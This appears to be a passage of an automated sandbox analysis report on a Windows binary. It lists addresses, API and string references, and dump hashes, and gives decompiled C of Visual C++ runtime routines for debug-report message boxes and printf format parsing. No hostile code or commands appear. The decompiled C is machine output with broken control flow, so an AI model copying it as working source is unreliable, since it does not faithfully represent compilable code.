0x0043c473
0x0043c477
0x0043c47f
0x0043c480
0x0043c486
0x0043c486
0x0043c429
0x0043c42c
0x0043c42c
0x0043c42f
0x0043c44d
0x0043c459
0x0043c45c
0x0043c45d
0x0043c463
0x0043c431
0x0043c431
0x0043c435
0x0043c43d
0x0043c43e
0x0043c43f
0x0043c445
0x0043c445
0x0043c469
0x0043c404
0x0043c404
0x0043c410
0x0043c416
0x0043c416
0x0043c3dc
0x0043c3dc
0x0043c3e8
0x0043c3ee
0x0043c3ee
0x0043c4ab
0x0043c4ab
0x0043c4ae
0x0043c4f0
0x0043c4f0
0x0043c4f6
0x0043c4fc
0x0043c502
0x00000000
0x0043c4b0
0x0043c4b0
0x0043c4b0
0x0043c4b7
0x00000000
0x00000000
0x0043c4b9
0x0043c4b9
0x0043c4c4
0x0043c4ca
0x0043c4cc
0x0043c4d2
0x0043c4d5
0x0043c4d7
0x0043c4dd
0x0043c4e6
0x0043c4eb
0x0043c508
0x0043c50b
0x0043c50b
0x0043c510
0x0043c515
0x0043c515
0x0043c51b
0x0043c51d
0x0043c523
0x0043c529
0x0043c529
0x0043c532
0x0043c532
0x0043c51b
0x0043c538
0x0043c53c
0x0043c54a
0x0043c54d
0x0043c550
0x0043c557
0x0043c559
0x0043c559
0x0043c53e
0x0043c53e
0x0043c53e
0x0043c566
0x0043c566
0x0043c56c
0x0043c56e
0x0043c56e
0x0043c575
0x0043c57b
0x0043c57e
0x0043c57e
0x0043c57e
0x0043c584
0x0043c587
0x0043c58a
0x0043c58c
0x00000000
0x00000000
0x0043c58e
0x0043c594
0x0043c594
0x0043c59a
0x00000000
0x00000000
0x0043c59c
0x0043c59c
0x0043c59f
0x0043c5a2
0x0043c5a9
0x0043c5b0
0x0043c5b8
0x0043c5be
0x0043c5c1
0x0043c5c4
0x0043c5cb
0x0043c5d7
0x0043c5dd
0x0043c5e3
0x0043c5ea
0x0043c5ec
0x0043c5f2
0x0043c5f2
0x0043c5f8
0x0043c5f8
0x0043c5fe
0x0043c607
0x0043c60c
0x0043c60f
0x0043c57e
0x0043c57e
0x0043c584
0x0043c587
0x0043c58a
0x0043c58c
0x00000000
0x00000000
0x00000000
0x0043c58c
0x0043c57e
0x0043c4bb
0x0043c4bb
0x0043c4c2
0x00000000
0x00000000
0x00000000
0x0043c4c2
0x00000000
0x0043c660
0x0043c660
0x0043c664
0x00000000
0x00000000
0x00000000
0x0043c664
0x00000000
0x00000000
0x0043bbe9
0x0043bbe9
0x0043bbec
0x0043bbef
0x00000000
0x00000000
0x0043bbf4
0x0043bbf7
0x0043bbfd
0x00000000
0x00000000
0x0043bbde
0x0043bbe1
0x0043bbe4
0x00000000
0x00000000
0x0043bbd3
0x0043bbd6
0x0043bbd9
0x00000000
0x00000000
0x0043bc02
0x0043bc02
0x0043bc05
0x0043bc05
0x0043bc08
0x00000000
0x00000000
0x0043bc0b
0x00000000
0x00000000
0x0043ba7b
0x0043ba7b
0x0043ba7d
0x0043ba8b
0x0043ba7f
0x0043ba7f
0x0043ba7f
0x0043ba9b
0x0043baa8
0x0043baaa
0x0043baaf
0x0043bab1
0x0043bab6
0x0043babb
0x0043babd
0x0043bac2
0x0043bac8
0x0043baca
0x0043baca
0x0043bac8
0x0043bacb
0x0043bad2
0x00000000
0x0043bad4
0x0043bad9
0x0043baf5
0x0043bafd
0x0043bb0a
0x0043bb0f
0x00000000
0x0043bb0f
0x0043bad2
0x0043ba75
0x0043c860
0x0043c867
0x0043c87e
0x0043c87e
0x0043c888
0x0043c888
0x0043c88e
0x0043c89b
0x0043c89d
0x0043c8a2
0x0043c8a4
0x0043c8a9
0x0043c8ae
0x0043c8b0
0x0043c8b5
0x0043c8bb
0x0043c8bd
0x0043c8bd
0x0043c8bb
0x0043c8c5
0x0043c910
0x0043c919
0x0043c91e
0x0043c8c7
0x0043c8cc
0x0043c8e8
0x0043c8f0
0x0043c8fd
0x0043c902
0x0043c902
0x00000000
0x0043c8c5
0x0043c869
0x0043c870
0x00000000
0x00000000
0x0043c872
0x0043c872
0x00000000
0x0043c872
0x0043c122
0x0043c122
0x0043c127
0x0043c143
0x0043c14b
0x0043c155
0x0043c158
0x0043c15d
0x0043c924
0x0043c931
0x0043c931
0x0043c16d
0x0043c173
0x0043c193
0x0043c175
0x0043c182
0x0043c182
0x0043c195
0x00000000
0x0043c195

APIs

_get_int_arg.LIBCMTD ref: 0043C0AE
__get_printf_count_output.LIBCMTD ref: 0043C0BC
__invalid_parameter.LIBCMTD ref: 0043C143
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0043C158
_write_multi_char.LIBCMTD ref: 0043C6EB
_write_string.LIBCMTD ref: 0043C706
_write_multi_char.LIBCMTD ref: 0043C732
__mbtowc_l.LIBCMTD ref: 0043C7A1

Strings

("'n' format specifier disabled", 0), xrefs: 0043C0F8, 0043C13E
_woutput_s_l, xrefs: 0043BAEB, 0043C139
("Incorrect format specifier", 0), xrefs: 0043BAAA, 0043BAF0
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 0043BAB6, 0043BAE6, 0043C104, 0043C134

Memory Dump Source

Source File: 0000000E.00000002.409547130.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.409537880.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.409607278.0000000000440000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409647814.000000000055A000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409667552.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_B55D.jbxd

Similarity

API ID: Locale_write_multi_char$UpdateUpdate::~___get_printf_count_output__invalid_parameter__mbtowc_l_get_int_arg_write_string
String ID: ("'n' format specifier disabled", 0)$("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 2386203720-1989478660
Opcode ID: fd9c668606143fd27d4ce1e06399ca55bd58dba621ef760028682ea5758b1ec3
Instruction ID: 8f872cc8ac49e9dd902d722d6daa38deb6dfd4acf70c616f0a92506ac4726a8a
Opcode Fuzzy Hash: fd9c668606143fd27d4ce1e06399ca55bd58dba621ef760028682ea5758b1ec3
Instruction Fuzzy Hash: 1EA19FB1D002299BDF24DF55CC82BAEB3B4AB48305F14909AE6197B282D7785E84CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 00429817, Relevance: 26.4, APIs: 6, Strings: 9, Instructions: 100
windowCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E00429817() {
				intOrPtr _t36;
				intOrPtr* _t37;
				void* _t40;
				void* _t48;
				void* _t62;
				void* _t63;
				signed int _t64;
				void* _t66;
				void* _t67;

				 *(_t64 - 0x114c) = "...";
				if( *((intOrPtr*)(_t64 + 0x14)) == 0) {
					 *(_t64 - 0x1150) = 0x404106;
				} else {
					 *(_t64 - 0x1150) = "\nModule: ";
				}
				_push( *((intOrPtr*)(_t64 - 0x1124)));
				_push( *((intOrPtr*)(_t64 - 0x1128)));
				_push( *((intOrPtr*)(_t64 - 0x112c)));
				_push( *((intOrPtr*)(_t64 - 0x1130)));
				_push( *((intOrPtr*)(_t64 - 0x1134)));
				_push( *((intOrPtr*)(_t64 - 0x1138)));
				_push( *((intOrPtr*)(_t64 - 0x113c)));
				_push( *((intOrPtr*)(_t64 - 0x1140)));
				_push( *((intOrPtr*)(_t64 - 0x1144)));
				_push( *(_t64 - 0x114c));
				_push( *(_t64 - 0x1150));
				_push( *((intOrPtr*)(_t64 - 8)));
				_t61 =  *(_t64 + 8);
				_t53 = _t64 - 0x1010;
				_t36 = E0042BC40(_t64 - 0x1010, _t64 - 0x1010, 0x1000, 0xfff, "Debug %s!\n\nProgram: %s%s%s%s%s%s%s%s%s%s%s%s\n\n(Press Retry to debug the application)",  *((intOrPtr*)( *(_t64 + 8) * 4 + "8R@")));
				_t67 = _t66 + 0x44;
				 *((intOrPtr*)(_t64 - 0xc)) = _t36;
				if( *((intOrPtr*)(_t64 - 0xc)) < 0) {
					_t61 =  *(L00422E20(_t53));
					E0041DA00( *(L00422E20(_t53)), 0x16, 0x22, L"(*_errno())", L"__crtMessageWindowA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrpt.c", 0x160, 0);
					_t67 = _t67 + 0x20;
				}
				_t37 = L00422E20(_t53);
				_t54 =  *((intOrPtr*)(_t64 - 0x1120));
				 *_t37 =  *((intOrPtr*)(_t64 - 0x1120));
				if( *((intOrPtr*)(_t64 - 0xc)) < 0) {
					_t61 = _t64 - 0x1010;
					E0041DF70(E0041DAF0(_t48, _t54, _t63, _t64 - 0x1010, 0x1000, "_CrtDbgReport: String too long or IO Error"), _t44, L"strcpy_s(szOutMessage, 4096, \"_CrtDbgReport: String too long or IO Error\")", L"__crtMessageWindowA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrpt.c", 0x165, 0);
					_t67 = _t67 + 0x24;
				}
				 *((intOrPtr*)(_t64 - 0x111c)) = E00435860(_t64 - 0x1010, "Microsoft Visual C++ Debug Library", 0x12012);
				if( *((intOrPtr*)(_t64 - 0x111c)) == 3) {
					E0042D3A0(0x16);
					E00426010(3);
				}
				if( *((intOrPtr*)(_t64 - 0x111c)) != 4) {
					_t40 = 0;
				} else {
					_t40 = 1;
				}
				return E0042BC70(_t40, _t48,  *(_t64 - 0x10) ^ _t64, _t61, _t62, _t63);
			}

0x00429817
0x00429831
0x0042983f
0x00429833
0x00429833
0x00429833
0x0042984f
0x00429856
0x0042985d
0x00429864
0x0042986b
0x00429872
0x00429879
0x00429880
0x00429887
0x0042988e
0x00429895
0x00429899
0x0042989a
0x004298b4
0x004298bb
0x004298c0
0x004298c3
0x004298ca
0x004298eb
0x004298ee
0x004298f3
0x004298f3
0x004298f6
0x004298fb
0x00429901
0x00429907
0x00429929
0x00429939
0x0042993e
0x0042993e
0x0042995a
0x00429967
0x0042996b
0x00429975
0x00429975
0x00429981
0x0042998a
0x00429983
0x00429983
0x00429983
0x00429999

APIs

__snwprintf_s.LIBCMTD ref: 004298BB
__invoke_watson_if_oneof.LIBCMTD ref: 004298EE
_wcscpy_s.LIBCMTD ref: 00429930
__invoke_watson_if_error.LIBCMTD ref: 00429939
___crtMessageBoxW.LIBCMTD ref: 00429952
_raise.LIBCMTD ref: 0042996B

Strings

Microsoft Visual C++ Debug Library, xrefs: 00429946
(*_errno()), xrefs: 004298DD
Module: , xrefs: 00429833
Debug %s!Program: %s%s%s%s%s%s%s%s%s%s%s%s(Press Retry to debug the application), xrefs: 004298A5
_CrtDbgReport: String too long or IO Error, xrefs: 0042991F
..., xrefs: 00429817, 0042988E
strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error"), xrefs: 0042991A
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrpt.c, xrefs: 004298D3, 00429910
__crtMessageWindowA, xrefs: 004298D8, 00429915

Memory Dump Source

Source File: 0000000E.00000002.409547130.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.409537880.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.409607278.0000000000440000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409647814.000000000055A000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409667552.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_B55D.jbxd

Similarity

API ID: Message___crt__invoke_watson_if_error__invoke_watson_if_oneof__snwprintf_s_raise_wcscpy_s
String ID: Module: $(*_errno())$...$Debug %s!Program: %s%s%s%s%s%s%s%s%s%s%s%s(Press Retry to debug the application)$Microsoft Visual C++ Debug Library$_CrtDbgReport: String too long or IO Error$__crtMessageWindowA$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrpt.c$strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error")
API String ID: 1485069716-2339404796
Opcode ID: 6928584f9c4ac3898be6330fd061fc5c140099a0aaccca2a1799e1eb01480f22
Instruction ID: 9947254f158180bdd9584f2f6c16c1b90017be9bbddf5bbe4a86be57ee82cfd8
Opcode Fuzzy Hash: 6928584f9c4ac3898be6330fd061fc5c140099a0aaccca2a1799e1eb01480f22
Instruction Fuzzy Hash: 9C3166B5F40228ABDB24DA51DC46FDA7374AB48704F4041EEF209762C5D6B85EC08F59

Uniqueness

Uniqueness Score: -1.00%

Function 00434AE5, Relevance: 24.7, APIs: 9, Strings: 5, Instructions: 225
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E00434AE5(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t495;
				signed int _t497;
				signed int _t503;
				void* _t508;
				signed int _t510;
				void* _t530;
				signed int _t548;
				void* _t558;
				signed int _t566;
				signed int _t593;
				void* _t621;
				void* _t622;
				signed int _t623;
				void* _t625;
				void* _t626;

				L0:
				while(1) {
					L0:
					_t622 = __esi;
					_t621 = __edi;
					_t558 = __ebx;
					_t495 = E00428310(_t623 + 0x14);
					_t626 = _t625 + 4;
					 *((intOrPtr*)(_t623 - 0x288)) = _t495;
					if( *((intOrPtr*)(_t623 - 0x288)) == 0) {
						goto L82;
					}
					L81:
					__ecx =  *(__ebp - 0x288);
					if( *(__ecx + 4) != 0) {
						L83:
						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
						if(( *(__ebp - 0x10) & 0x00000800) == 0) {
							 *(__ebp - 0xc) = 0;
							__edx =  *(__ebp - 0x288);
							__eax =  *(__edx + 4);
							 *(__ebp - 4) =  *(__edx + 4);
							__ecx =  *(__ebp - 0x288);
							__edx =  *__ecx;
							 *(__ebp - 0x24) =  *__ecx;
						} else {
							__edx =  *(__ebp - 0x288);
							__eax =  *(__edx + 4);
							 *(__ebp - 4) =  *(__edx + 4);
							__ecx =  *(__ebp - 0x288);
							__eax =  *__ecx;
							asm("cdq");
							 *__ecx - __edx =  *__ecx - __edx >> 1;
							 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
							 *(__ebp - 0xc) = 1;
						}
						L86:
						while(1) {
							L190:
							if( *(_t623 - 0x28) != 0) {
								goto L216;
							}
							L191:
							if(( *(_t623 - 0x10) & 0x00000040) != 0) {
								if(( *(_t623 - 0x10) & 0x00000100) == 0) {
									if(( *(_t623 - 0x10) & 0x00000001) == 0) {
										if(( *(_t623 - 0x10) & 0x00000002) != 0) {
											 *((char*)(_t623 - 0x14)) = 0x20;
											 *(_t623 - 0x1c) = 1;
										}
									} else {
										 *((char*)(_t623 - 0x14)) = 0x2b;
										 *(_t623 - 0x1c) = 1;
									}
								} else {
									 *((char*)(_t623 - 0x14)) = 0x2d;
									 *(_t623 - 0x1c) = 1;
								}
							}
							 *((intOrPtr*)(_t623 - 0x2c4)) =  *((intOrPtr*)(_t623 - 0x18)) -  *(_t623 - 0x24) -  *(_t623 - 0x1c);
							if(( *(_t623 - 0x10) & 0x0000000c) == 0) {
								E004356D0(0x20,  *((intOrPtr*)(_t623 - 0x2c4)),  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
								_t626 = _t626 + 0x10;
							}
							E00435710( *(_t623 - 0x1c), _t623 - 0x14,  *(_t623 - 0x1c),  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
							_t626 = _t626 + 0x10;
							if(( *(_t623 - 0x10) & 0x00000008) != 0) {
								if(( *(_t623 - 0x10) & 0x00000004) == 0) {
									E004356D0(0x30,  *((intOrPtr*)(_t623 - 0x2c4)),  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
									_t626 = _t626 + 0x10;
								}
							}
							if( *(_t623 - 0xc) == 0) {
								L212:
								E00435710( *(_t623 - 4),  *(_t623 - 4),  *(_t623 - 0x24),  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
								_t626 = _t626 + 0x10;
								goto L213;
							} else {
								L204:
								if( *(_t623 - 0x24) <= 0) {
									goto L212;
								}
								L205:
								 *(_t623 - 0x2dc) = 0;
								 *(_t623 - 0x2c8) =  *(_t623 - 4);
								 *(_t623 - 0x2cc) =  *(_t623 - 0x24);
								while(1) {
									L206:
									 *(_t623 - 0x2cc) =  *(_t623 - 0x2cc) - 1;
									if( *(_t623 - 0x2cc) == 0) {
										break;
									}
									L207:
									 *(_t623 - 0x32e) =  *( *(_t623 - 0x2c8));
									_t548 = E004341E0(_t623 - 0x2d0, _t623 - 0x2d8, 6,  *(_t623 - 0x32e) & 0x0000ffff);
									_t626 = _t626 + 0x10;
									 *(_t623 - 0x2dc) = _t548;
									 *(_t623 - 0x2c8) =  *(_t623 - 0x2c8) + 2;
									if( *(_t623 - 0x2dc) != 0) {
										L209:
										 *(_t623 - 0x24c) = 0xffffffff;
										break;
									}
									L208:
									if( *(_t623 - 0x2d0) != 0) {
										L210:
										E00435710( *((intOrPtr*)(_t623 + 8)), _t623 - 0x2d8,  *(_t623 - 0x2d0),  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
										_t626 = _t626 + 0x10;
										continue;
									}
									goto L209;
								}
								L211:
								L213:
								if( *(_t623 - 0x24c) >= 0) {
									if(( *(_t623 - 0x10) & 0x00000004) != 0) {
										E004356D0(0x20,  *((intOrPtr*)(_t623 - 0x2c4)),  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
										_t626 = _t626 + 0x10;
									}
								}
							}
							L216:
							if( *(_t623 - 0x20) != 0) {
								L0041C4F0( *(_t623 - 0x20), 2);
								_t626 = _t626 + 8;
								 *(_t623 - 0x20) = 0;
							}
							while(1) {
								L218:
								 *(_t623 - 0x251) =  *( *(_t623 + 0xc));
								_t594 =  *(_t623 - 0x251);
								 *(_t623 + 0xc) =  *(_t623 + 0xc) + 1;
								if( *(_t623 - 0x251) == 0 ||  *(_t623 - 0x24c) < 0) {
									break;
								} else {
									if( *(_t623 - 0x251) < 0x20 ||  *(_t623 - 0x251) > 0x78) {
										 *(_t623 - 0x310) = 0;
									} else {
										 *(_t623 - 0x310) =  *( *(_t623 - 0x251) +  &M00407E18) & 0xf;
									}
								}
								L7:
								 *(_t623 - 0x250) =  *(_t623 - 0x310);
								_t510 =  *(_t623 - 0x250) * 9;
								_t566 =  *(_t623 - 0x25c);
								_t594 = ( *(_t510 + _t566 + 0x407e38) & 0x000000ff) >> 4;
								 *(_t623 - 0x25c) = ( *(_t510 + _t566 + 0x407e38) & 0x000000ff) >> 4;
								if( *(_t623 - 0x25c) != 8) {
									L16:
									 *(_t623 - 0x318) =  *(_t623 - 0x25c);
									if( *(_t623 - 0x318) > 7) {
										continue;
									}
									L17:
									switch( *((intOrPtr*)( *(_t623 - 0x318) * 4 +  &M00435520))) {
										case 0:
											L18:
											 *(_t623 - 0xc) = 0;
											_t513 = E004311D0( *(_t623 - 0x251) & 0x000000ff, E0041AE00(_t623 - 0x40));
											_t629 = _t626 + 8;
											__eflags = _t513;
											if(_t513 == 0) {
												L24:
												E00435630( *(_t623 - 0x251) & 0x000000ff,  *(_t623 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
												_t626 = _t629 + 0xc;
												goto L218;
											} else {
												E00435630( *((intOrPtr*)(_t623 + 8)),  *(_t623 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
												_t629 = _t629 + 0xc;
												_t571 =  *( *(_t623 + 0xc));
												 *(_t623 - 0x251) =  *( *(_t623 + 0xc));
												_t594 =  *(_t623 + 0xc) + 1;
												__eflags = _t594;
												 *(_t623 + 0xc) = _t594;
												asm("sbb eax, eax");
												 *(_t623 - 0x27c) =  ~( ~( *(_t623 - 0x251)));
												if(_t594 == 0) {
													_push(L"(ch != _T(\'\\0\'))");
													_push(0);
													_push(0x486);
													_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
													_push(2);
													_t525 = L0041E330();
													_t629 = _t629 + 0x14;
													__eflags = _t525 - 1;
													if(_t525 == 1) {
														asm("int3");
													}
												}
												L22:
												__eflags =  *(_t623 - 0x27c);
												if( *(_t623 - 0x27c) != 0) {
													goto L24;
												} else {
													 *((intOrPtr*)(L00422E20(_t571))) = 0x16;
													E00422BB0(_t558, _t571, _t621, _t622, L"(ch != _T(\'\\0\'))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
													 *(_t623 - 0x2f4) = 0xffffffff;
													E0041ADD0(_t623 - 0x40);
													_t503 =  *(_t623 - 0x2f4);
													goto L229;
												}
											}
										case 1:
											L25:
											 *(__ebp - 0x2c) = 0;
											__edx =  *(__ebp - 0x2c);
											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
											__eax =  *(__ebp - 0x28);
											 *(__ebp - 0x18) =  *(__ebp - 0x28);
											__ecx =  *(__ebp - 0x18);
											 *(__ebp - 0x1c) = __ecx;
											 *(__ebp - 0x10) = 0;
											 *(__ebp - 0x30) = 0xffffffff;
											 *(__ebp - 0xc) = 0;
											goto L218;
										case 2:
											L26:
											__edx =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x31c) =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
											 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
											__eflags =  *(__ebp - 0x31c) - 0x10;
											if( *(__ebp - 0x31c) > 0x10) {
												goto L33;
											}
											L27:
											__ecx =  *(__ebp - 0x31c);
											_t74 = __ecx + 0x435558; // 0x498d04
											__edx =  *_t74 & 0x000000ff;
											switch( *((intOrPtr*)(( *_t74 & 0x000000ff) * 4 +  &M00435540))) {
												case 0:
													goto L30;
												case 1:
													goto L31;
												case 2:
													goto L29;
												case 3:
													goto L28;
												case 4:
													goto L32;
												case 5:
													goto L33;
											}
										case 3:
											L34:
											__edx =  *((char*)(__ebp - 0x251));
											__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
											if( *((char*)(__ebp - 0x251)) != 0x2a) {
												__eax =  *(__ebp - 0x18);
												__eax =  *(__ebp - 0x18) * 0xa;
												__eflags = __eax;
												__ecx =  *((char*)(__ebp - 0x251));
												_t98 = __ecx - 0x30; // -48
												__edx = __eax + _t98;
												 *(__ebp - 0x18) = __eax + _t98;
											} else {
												__eax = __ebp + 0x14;
												 *(__ebp - 0x18) = E00428310(__ebp + 0x14);
												__eflags =  *(__ebp - 0x18);
												if( *(__ebp - 0x18) < 0) {
													__ecx =  *(__ebp - 0x10);
													__ecx =  *(__ebp - 0x10) | 0x00000004;
													__eflags = __ecx;
													 *(__ebp - 0x10) = __ecx;
													 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
													 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
												}
											}
											goto L218;
										case 4:
											L40:
											 *(__ebp - 0x30) = 0;
											goto L218;
										case 5:
											L41:
											__eax =  *((char*)(__ebp - 0x251));
											__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
											if( *((char*)(__ebp - 0x251)) != 0x2a) {
												__edx =  *(__ebp - 0x30);
												__edx =  *(__ebp - 0x30) * 0xa;
												__eflags = __edx;
												_t109 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
												__ecx = __edx + _t109;
												 *(__ebp - 0x30) = __ecx;
											} else {
												__ecx = __ebp + 0x14;
												 *(__ebp - 0x30) = E00428310(__ebp + 0x14);
												__eflags =  *(__ebp - 0x30);
												if( *(__ebp - 0x30) < 0) {
													 *(__ebp - 0x30) = 0xffffffff;
												}
											}
											goto L218;
										case 6:
											L47:
											__edx =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x320) =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
											 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
											__eflags =  *(__ebp - 0x320) - 0x2e;
											if( *(__ebp - 0x320) > 0x2e) {
												L70:
												goto L218;
											}
											L48:
											__ecx =  *(__ebp - 0x320);
											_t117 = __ecx + 0x435580; // 0x4d8e9003
											__edx =  *_t117 & 0x000000ff;
											switch( *((intOrPtr*)(( *_t117 & 0x000000ff) * 4 +  &M0043556C))) {
												case 0:
													L53:
													__edx =  *(__ebp + 0xc);
													__eax =  *( *(__ebp + 0xc));
													__eflags =  *( *(__ebp + 0xc)) - 0x36;
													if( *( *(__ebp + 0xc)) != 0x36) {
														L56:
														__edx =  *(__ebp + 0xc);
														__eax =  *( *(__ebp + 0xc));
														__eflags =  *( *(__ebp + 0xc)) - 0x33;
														if( *( *(__ebp + 0xc)) != 0x33) {
															L59:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc));
															__eflags =  *( *(__ebp + 0xc)) - 0x64;
															if( *( *(__ebp + 0xc)) == 0x64) {
																L65:
																L67:
																goto L70;
															}
															L60:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx;
															__eflags =  *__ecx - 0x69;
															if( *__ecx == 0x69) {
																goto L65;
															}
															L61:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc));
															__eflags = __ecx - 0x6f;
															if(__ecx == 0x6f) {
																goto L65;
															}
															L62:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc));
															__eflags =  *( *(__ebp + 0xc)) - 0x75;
															if( *( *(__ebp + 0xc)) == 0x75) {
																goto L65;
															}
															L63:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx;
															__eflags =  *__ecx - 0x78;
															if( *__ecx == 0x78) {
																goto L65;
															}
															L64:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc));
															__eflags = __ecx - 0x58;
															if(__ecx != 0x58) {
																 *(__ebp - 0x25c) = 0;
																goto L18;
															}
															goto L65;
														}
														L57:
														__ecx =  *(__ebp + 0xc);
														__edx =  *((char*)(__ecx + 1));
														__eflags =  *((char*)(__ecx + 1)) - 0x32;
														if( *((char*)(__ecx + 1)) != 0x32) {
															goto L59;
														} else {
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
															__ecx =  *(__ebp - 0x10);
															__ecx =  *(__ebp - 0x10) & 0xffff7fff;
															 *(__ebp - 0x10) = __ecx;
															goto L67;
														}
													}
													L54:
													__ecx =  *(__ebp + 0xc);
													__edx =  *((char*)(__ecx + 1));
													__eflags =  *((char*)(__ecx + 1)) - 0x34;
													if( *((char*)(__ecx + 1)) != 0x34) {
														goto L56;
													} else {
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00008000;
														 *(__ebp - 0x10) = __ecx;
														goto L67;
													}
												case 1:
													L68:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
													goto L70;
												case 2:
													L49:
													__eax =  *(__ebp + 0xc);
													__ecx =  *( *(__ebp + 0xc));
													__eflags = __ecx - 0x6c;
													if(__ecx != 0x6c) {
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00000010;
														__eflags = __ecx;
														 *(__ebp - 0x10) = __ecx;
													} else {
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
													}
													goto L70;
												case 3:
													L69:
													__eax =  *(__ebp - 0x10);
													__eax =  *(__ebp - 0x10) | 0x00000800;
													__eflags = __eax;
													 *(__ebp - 0x10) = __eax;
													goto L70;
												case 4:
													goto L70;
											}
										case 7:
											L71:
											__ecx =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x324) = __ecx;
											 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
											 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
											__eflags =  *(__ebp - 0x324) - 0x37;
											if( *(__ebp - 0x324) > 0x37) {
												goto L190;
												do {
													do {
														while(1) {
															L190:
															if( *(_t623 - 0x28) != 0) {
																goto L216;
															}
															goto L191;
														}
														L186:
														__ebp - 0x49 = __ebp - 0x49 -  *(__ebp - 4);
														 *(__ebp - 0x24) = __ebp - 0x49 -  *(__ebp - 4);
														__ecx =  *(__ebp - 4);
														__ecx =  *(__ebp - 4) + 1;
														 *(__ebp - 4) = __ecx;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
														__eflags =  *(__ebp - 0x10) & 0x00000200;
													} while (( *(__ebp - 0x10) & 0x00000200) == 0);
													__eflags =  *(__ebp - 0x24);
													if( *(__ebp - 0x24) == 0) {
														break;
													}
													L188:
													__eax =  *(__ebp - 4);
													__ecx =  *( *(__ebp - 4));
													__eflags = __ecx - 0x30;
												} while (__ecx == 0x30);
												L189:
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												__eax =  *(__ebp - 4);
												 *( *(__ebp - 4)) = 0x30;
												__ecx =  *(__ebp - 0x24);
												__ecx =  *(__ebp - 0x24) + 1;
												__eflags = __ecx;
												 *(__ebp - 0x24) = __ecx;
												while(1) {
													L190:
													if( *(_t623 - 0x28) != 0) {
														goto L216;
													}
													goto L191;
												}
											}
											L72:
											_t158 =  *(__ebp - 0x324) + 0x4355ec; // 0xcccccc0d
